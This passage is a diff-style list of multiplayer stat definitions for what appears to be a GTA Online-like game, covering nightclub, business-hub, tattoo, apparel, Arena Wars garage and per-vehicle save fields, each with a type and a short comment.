// Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT336 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT337 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT338 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT339 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT340 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT341 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT342 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT343 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT344 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT345 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT346 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT347 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT348 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT349 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT350 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT351 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT352 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT353 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT354 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT355 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT356 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT357 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT358 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT359 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT360 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT361 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT362 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT363 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT364 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT365 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT366 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT367 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT368 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT369 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT370 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT371 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT372 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT373 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT374 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT375 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT376 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT377 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT378 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT379 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers +(packed)BUSINESSBATPSTAT_INT380 // Add MP0_ or MP1_ // Character Stat with Packed integers index 32. Takes up to 8 integers + +(int)INV_HACKERTRUCK_MODEL_0 // Add MP0_ or MP1_ // SA Stat for hacker truck model +(int)CLUB_PAY_TIME_LEFT // Add MP0_ or MP1_ // Time left until next payout, periodically updated +(int)CLUB_SAFE_CASH_VALUE // Add MP0_ or MP1_ // Ammount of cash stored in club safe +(int)CLUB_POPULARITY // Add MP0_ or MP1_ // Popularity of player's club +(int)CLUB_CONTRABAND_MISSION // Add MP0_ or MP1_ // Inventory slot to validate transactions + +(int)PROP_NIGHTCLUB_NAME_ID // Add MP0_ or MP1_ // the apartment interior variations in the apartments pack +(string)NIGHTCLUB_NAME // Add MP0_ or MP1_ // Nightclub Name +(string)NIGHTCLUB_NAME2 // Add MP0_ or MP1_ // Nightclub Name +(int)NIGHTCLUBACCESSSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access + +(packed)BUSINESSBATPSTAT_BOOL0 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. +(int)DJBOOTHACCESSSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access +(int)VIPCLUBACCESSSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access +(int)CLUBOFFACCESSSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access +(int)BBT_PHCALL_TIMER_NCLUB // Add MP0_ or MP1_ // phone call mission timer for the nightclub +(bool)MPPLY_MELEECHLENGECOMPLETED // Stat to track if melee challenge is complete to unlock weapon in bob + +(int)HUB_PROD_TOTAL_0 // Add MP0_ or MP1_ // Product total for business type 0 (HUB) +(int)HUB_PROD_TOTAL_1 // Add MP0_ or MP1_ // Product total for business type 1 (HUB) +(int)HUB_PROD_TOTAL_2 // Add MP0_ or MP1_ // Product total for business type 2 (HUB) +(int)HUB_PROD_TOTAL_3 // Add MP0_ or MP1_ // Product total for business type 3 (HUB) +(int)HUB_PROD_TOTAL_4 // Add MP0_ or MP1_ // Product total for business type 4 (HUB) +(int)HUB_PROD_TOTAL_5 // Add MP0_ or MP1_ // Product total for business type 5 (HUB) +(int)HUB_PROD_TOTAL_6 // Add MP0_ or MP1_ // Product total for business type 6 (HUB) + +(int)FMBB_FLOW_NOTIFICATIONS // Add MP0_ or MP1_ // Business battle Email count + +(int)NIGHTCLUB_VIP_APPEAR // Add MP0_ or MP1_ // Lifetime VIP appearances in the nightclub +(int)NIGHTCLUB_JOBS_DONE // Add MP0_ or MP1_ // Lifetime nightclub jobs done counter +(int)NIGHTCLUB_EARNINGS // Add MP0_ or MP1_ // Lifetime nightclub earnings +(int)HUB_SALES_COMPLETED // Add MP0_ or MP1_ // Lifetime business hub jobs done counter +(int)HUB_EARNINGS // Add MP0_ or MP1_ // Lifetime business hub earnings + +(int)SHOPFM_PERS_GUN_HTRUCK // Add MP0_ or MP1_ // Shop stat for Hacker Truck Armory +(int)FM_CUT_DONE_2 // Add MP0_ or MP1_ // Track which cutscenes have beend done + +(int)DANCE_COMBO_DURATION_MINS // Add MP0_ or MP1_ // Lifetime beat matching combo duration (mins) +(int)NIGHTCLUB_PLAYER_APPEAR // Add MP0_ or MP1_ // Lifetime count of players who have paid for entry to our club +(int)LIFETIME_HUB_GOODS_SOLD // Add MP0_ or MP1_ // Lifetime count hub goods sold +(int)LIFETIME_HUB_GOODS_MADE // Add MP0_ or MP1_ // Lifetime count hub goods accrued over time +(int)FAVORITE_VEH_TYPE_CURRENT // Add MP0_ or MP1_ // Track players fave vehicle +(int)FAVORITE_VEH_TIME_CURRENT // Add MP0_ or MP1_ // Track players fave vehicle +(int)FAVORITE_VEH_TYPE_ALLTIME // Add MP0_ or MP1_ // Track players fave vehicle +(int)FAVORITE_VEH_TIME_ALLTIME // Add MP0_ or MP1_ // Track players fave vehicle + +(int)BOUNTY_TARGET1 // Add MP0_ or MP1_ // Track players bounty targets +(int)BOUNTY_TARGET2 // Add MP0_ or MP1_ // Track players bounty targets +(int)BOUNTY_TARGET3 // Add MP0_ or MP1_ // Track players bounty targets +(int)BOUNTY_TARGET4 // Add MP0_ or MP1_ // Track players bounty targets +(int)NIGHTCLUBDANCSSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access +(int)NIGHTCLUBCROWDSETTING // Add MP0_ or MP1_ // Setting for PI menu Nightclub access +(int)HUB_CONTRABAND_MISSION // Add MP0_ or MP1_ // Inventory slot to validate transactions + +(int)DANCEPERFECTOWNCLUB // Add MP0_ or MP1_ // Get all the services +(int)NUMUNIQUEPLYSINCLUB // Add MP0_ or MP1_ // Get all the services +(int)DANCETODIFFDJS // Add MP0_ or MP1_ // Get all the services +(int)TATTOO_FM_UNLOCKS_32 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_32 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_32 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_33 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_33 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_33 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_UNLOCKS_34 // Add MP0_ or MP1_ // MP Char 0 - Tattoos Unlocks 16 +(int)TATTOO_FM_CURRENT_34 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)TATTOO_FM_VIEWED_34 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 16 +(int)MPPLY_WITHOUTPSPLUS // player 0 - Current Tattoos 16 +(int)SOLCOUNTER // Add MP0_ or MP1_ // TU2 Embedded Content Help Text: LSUR and DJ Mixes +(int)TOSCOUNTER // Add MP0_ or MP1_ // TU2 Embedded Content Help Text: LSUR and DJ Mixes +(int)DIXCOUNTER // Add MP0_ or MP1_ // TU2 Embedded Content Help Text: LSUR and DJ Mixes +(int)BMCOUNTER // Add MP0_ or MP1_ // TU2 Embedded Content Help Text: LSUR and DJ Mixes + +(packed)BUSINESSBATPSTAT_BOOL1 // Add MP0_ or MP1_ // Character Stat with Packed booleans index 0. Takes up to 64 booleans. + +(int)DLC_APPAREL_ACQUIRED_154 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_155 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_156 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_157 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_158 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_159 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_ACQUIRED_160 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)DLC_APPAREL_USED_154 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_155 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_156 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_157 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_158 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_159 // Add MP0_ or MP1_ // Shop ped apparel save data +(int)DLC_APPAREL_USED_160 // Add MP0_ or MP1_ // Shop ped apparel save data + +(int)NIGHTCLUB_HOTSPOT_TIME_MS // Add MP0_ or MP1_ // Stat to track nightclub hotspot time in mins +(int)LASTHACKERMISTIMER // Add MP0_ or MP1_ // HACKER COOLDOWN TIMERS +(int)FMBB_FLOW_NOTIFICATIONS2 // Add MP0_ or MP1_ // Business battle Email count + +(int)PROP_ARENAWARS_GAR1 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_ARENAWARS_GAR1_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_ARENAWARS_GAR2 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_ARENAWARS_GAR2_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 +(int)PROP_ARENAWARS_GAR3 // Add MP0_ or MP1_ // Stores what other property player has purchased +_5 +(int)PROP_ARENAWARS_GAR3_VALUE // Add MP0_ or MP1_ // Stores value other property player has purchased +_5 + + + + +(int)MPSV_VEHICLE_BS_231 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_231 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_231 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_231 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_231 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_231 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_231 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_232 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_232 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_232 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_232 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_232 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_232 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_232 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_233 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_233 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_233 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_233 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_233 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_233 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_233 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_234 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_234 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_234 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_234 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_234 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_234 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_234 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_235 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_235 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_235 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_235 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_235 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_235 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_235 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_236 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_236 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_236 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_236 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_236 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_236 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_236 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_237 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_237 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_237 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_237 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_237 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_237 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_237 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_238 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_238 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_238 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_238 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_238 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_238 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_238 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_239 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_239 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_239 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_239 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_239 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_239 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_239 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_240 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_240 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_240 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_240 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_240 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_240 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_240 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_241 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_241 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_241 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_241 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_241 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_241 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_241 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_242 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_242 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_242 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_242 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_242 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_242 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_242 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_243 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_243 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_243 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_243 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_243 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_243 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_243 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_244 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_244 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_244 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_244 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_244 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_244 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_244 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_245 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_245 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_245 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_245 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_245 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_245 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_245 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_246 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_246 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_246 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_246 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_246 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_246 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_246 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_247 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_247 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_247 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_247 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_247 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_247 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_247 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_248 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_248 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_248 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_248 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_248 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_248 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_248 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_249 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_249 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_249 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_249 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_249 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_249 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_249 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_250 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_250 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_250 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_250 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_250 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_250 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_250 // Add MP0_ or MP1_ // Vehicle_225 licence plate part 0 + + +(int)MPSV_VEHICLE_BS_251 // Add MP0_ or MP1_ // Vehicle_225 bitset of various control flags for vehicle +(int)MPSV_IMPOUND_TIME_251 // Add MP0_ or MP1_ // Vehicle_225 time vehicle was impounded +(int)MPSV_PREMIUM_PAID_251 // Add MP0_ or MP1_ // Vehicle_225 premium paid by destroyer of vehicle +(int)MPSV_MODEL_251 // Add MP0_ or MP1_ // Vehicle_225 model enum of vehicle +(int)MPSV_FLAGS_251 // Add MP0_ or MP1_ // Vehicle_225 bitset of vehicle flags associated with mods +(int)MPSV_PRICE_PAID_251 // Add MP0_ or MP1_ // Vehicle_225 cost of vehicle when purchased + +(u64)MPSV_LP0_251 // Add 